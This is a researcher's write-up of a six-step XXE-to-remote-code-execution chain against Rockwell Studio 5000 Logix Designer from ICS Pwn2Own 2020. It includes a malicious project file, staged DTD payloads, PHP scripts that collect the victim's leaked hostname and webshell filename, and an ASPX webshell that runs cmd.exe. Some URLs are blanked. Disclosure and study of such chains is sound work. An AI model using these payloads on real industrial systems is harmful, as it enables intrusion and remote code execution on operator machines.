Pwn2Own -> Xxe2Rce

This post is going to describe the exploit chain used by mr_me and myself to pwn the Rockwell Studio 5000 Logix Designer at the 2020 ICS Pwn2Own. This was our favorite chain of the contest. Speaking for myself, the reason this chain is so satisfying is because it is kind of long, and because Steve and I both found different primitives independently that we were able to put together to pull off the final exploit. The chain consists of 6 primitives plus an XXE vulnerability which gets abused repeatedly:

  • Hostname leak
  • Arbitrary folder deletion
  • Arbitrary folder creation
  • File creation (with uncontrolled filename, and location, but controlled extension)
  • Filename leak
  • File move

The rules for this target state An attempt in this category must be launched against the target by opening a malicious project file on the target machine. Alright, so we’ve got to convince the victim to open a malicious project file. An important note though, is that using Logix Designer requires other software from Rockwell to be installed on the system, including a local webserver. This will come in very handy later on.

Considering the initial bug has got to abuse the opening a project file, an important first step is determining the file formats supported by the software. FileTypesMan from NirSoft is a really useful tool for this job, you can sort by different categories such as “Company Name” and see all the file extensions that are registered:

However, for our chain the file type we abused was not registered by Logix Designer. It was easily found though, just by observing the default types listed in the file picker drop down:

Not having any idea what most of the file types were we tried opening a plain xxe.xml file (like this) with each of the different extensions to see if an http request got triggered. Turns out the app is indeed vulnerable if you open the file with either a .xml or .aml extension. Nice! Our first primitive is XXE.

With XXE comes the ability to make arbitrary HTTP requests. Recall that this software comes bundled with a local HTTP server meaning our attack surface is increased substantially. We ended up abusing 2 different endpoints, the first being, for which the response contains the hostname of the computer. This information is needed to interact with the second endpoint later. We used basic OOB XXE exfiltration to store the hostname on our attacking system. The wireshark HTTP stream of communications between the victim (in red) and attacking machine (in blue) during this stage gives a good picture of how it works:

Before discussing how the second endpoint was abused we need to review a generic principle regarding XXE on Windows systems: it’s possible to write files into the system’s WebDAV cache folder c:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV by using the XXE to request a network resource using the file:// handler. When file:// is used Windows will first attempt to fetch the file over SMB on port 445. If that fails and the WebClient service is running (appears to be the default on non-server versions of Windows) it will then attempt to fetch the resources via WebDAV on port 80. When files are downloaded via WebDAV in this manner they stored in the cache folder with the name as a GUID but with the extension preserved. To test this out you would feed the victim a payload like this:

<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY % sp SYSTEM "">

With an external DTD like this:

<!ENTITY % webshell SYSTEM "file://">
<!ENTITY % trigger "<!ENTITY % download SYSTEM ';'>">

Then, shell.aspx ends up in the DAV cache:

At this point we’ve got the ability to leak the hostname of the victim machine and create a webshell with a random name in the DAV cache folder. We’ll now be able to use the second endpoint of the local HTTP server to do the following:

  • Empty the WebDAV cache folder
  • Leak the name of the file that we create inside the cache
  • Move the file into the webroot
  • Create / delete arbitrary folders (this capability is not used)

The endpoint is called CopyRenameProject and looks like this:
&HMIProjectName=SourceFolder // all contents will be moved to the destination
&NewProjectName=DestFolder // folder will contain contents of source folder
&NewComputerLocation=Hostname // can be local or remote system
// to move files around the local system the hostname must be used
// no localhost or . or, hence we need a hostname leak

And now the real fun begins! We need to clear the DAV cache — in order to leak the name of our webshell we need it to be the only file sitting in that folder. This is easily accomplished using a request like this:

// We're just attempting to move the folder contents into a non-existent folder
// causing the files to be removed from the system.

Now we can trigger the webshell download which we covered earlier. After that we need to leak the name of the webshell which we can do like this:

A wireshark dump demonstrates what happens when attempting to copy files to a remote computer:

Now we can copy the webshell to the webroot like this:
&NewProjectName=. // in this case . is the webroot

All that’s left to do is make the request to the webshell to actually get code execution. ez 🙂

Alright so this sounds simple enough, but what is kind of special about this exploit is it’s a one shot XXE, but there are two different dynamic values in the payload, the hostname of the victim, and the filename of the webshell. Personally, I’d never had to overcome this kind of challenge in an XXE so I’d like to take some time to review the individual exploit payloads and the infrastructure required for successful exploitation.

The malicious project file that gets delivered to the victim looks like this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % stage1 SYSTEM "">
<!ENTITY % stage2 SYSTEM "">
%stage1; %one; %two; 
%stage2; %three; %four;]>

stage1.dtd looks like this:

<!ENTITY % hostname SYSTEM "">
<!ENTITY % one "<!ENTITY % two SYSTEM ';'>">

and leak-hostname.php looks like this:

preg_match('/(Computer: )(.*)(<br>)/', urldecode($_GET['hostname']), $matches);
$hostname = $matches[2];
file_put_contents("host-name.txt", $hostname);

Stage1 is all about leaking the hostname of the victim. The victim sends its hostname to the attacker who stores it in a file called host-name.txt.

Now let’s look at stage2.php:


# will be the WebDAV cache folder on all Windows systems
$davCache = "../../../../../../Windows/ServiceProfiles/LocalService/AppData/Local/Temp/TfsStore/Tfs_DAV/";

# will contain the victim's hostname which we grabbed in stage 1
$hostname = file_get_contents("host-name.txt");

# clears out the DAV cache
$xml = "<!ENTITY % clearCache SYSTEM \"$davCache&NewProjectName=cacheTrash&NewComputerLocation=$hostname\">\n";

# creates the webshell in the DAV cahce
$xml .= "<!ENTITY % downloadWebshell SYSTEM \"file://\">\n";

# leaks the filename of webshell
# we use a separate php script to receive this from the victim and
# store it in `file-name.txt` in the webroot of the attacking machine
$xml .= "<!ENTITY % leakFileName SYSTEM \"$davCache&NewProjectName=hax&NewComputerLocation=\">\n";

# move the webshell into the victim webroot 
$xml .= "<!ENTITY % copyShellToWebRoot SYSTEM \"$davCache&NewProjectName=.&NewComputerLocation=$hostname\">\n";

# store the filename of the webshell in an entity
$xml .= "<!ENTITY % fileName SYSTEM \"\">\n";

# this last line calls everything inside of a sub entity
# that way the parser keeps going even if there's errors.
# we could have also just redirected back to our attacking 
# http server if the response data wasn't valid DTD
$xml .= "<!ENTITY % three \"<!ENTITY % four SYSTEM ';%downloadWebshell;%leakFileName;%copyShellToWebRoot;/../../../../../../../RSViewSE/%fileName;'>\">\n";

print $xml;

For this exploit it was really helpful to be able to run a WedDAV server and an HTTP server on the same port. Thanks apache for making that very easy. For completeness let’s see how we collect the filename of the webshell. First we have a .htaccess file like this:

RewriteEngine On
RewriteRule (.*{.*) rockwell.php
RewriteRule (.*HMI_ISAPI.DLL.*) rockwell-200.php

This will redirect any requests containing a { to rockwell.php. The webshell will always get renamed by Windows to a GUID like {ADCA1E92-BC09-4257-ADB6-BEA43DA08F4B}.aspx so we know incoming requests with a { should get redirected to the filename grabbing code. Here’s rockwell.php:

# the HTTP/1.0 response prevents the file from getting deleted when we leak the name
header("HTTP/1.0 100 Incite Team");

# grab the filename out of the incoming request
$filename = urldecode(basename($_SERVER['REQUEST_URI'], '?' . $_SERVER['QUERY_STRING']));

# make sure the extension is aspx
$extension = strtolower(pathinfo($filename)['extension']);
if (strcmp($extension, "aspx") == 0) {
    # we save the leaked file name into a file in our web root called "file-name.txt"
    file_put_contents("file-name.txt", $filename);

rockwell-200.php just returns what I refer to as the standard Rockwell 200 OK response when you make HTTP requests to it. Recall that to get the victim to leak the filename to us we had to return this type of response. The .htaccess says any time we see HMI_ISAPI.DLL in an incoming request redirect it to rockwell-200.php which is literally just this:

<html><head><title>Default MFC Web Server Extension</title></head><body>S_OK</body></html>

The last thing to discuss is the webshell, which is stored in the WebDAV root dir of our Apache server, instead of the normal webroot. Because the webshell’s contents get expanded in the %downloadWebshell; entity, and because of the way the entity is used, we had to make sure that it didn’t contain any characters that could cause it to generate invalid DTD. Therefore the # % characters could not be used!

If you go out and look for standard .aspx file examples you may start to think it’s impossible to achieve this objective. However, if you keep digging, you might end up with something like shell.aspx:

<script language="CSharp" runat="server">
  void pwn(Object Src, EventArgs E) {
    System.Diagnostics.Process.Start("cmd.exe","/C mspaint");
  <form runat="server">
    <asp:button text="carnage" OnLoad="pwn" runat="server"/>

That’s all for now!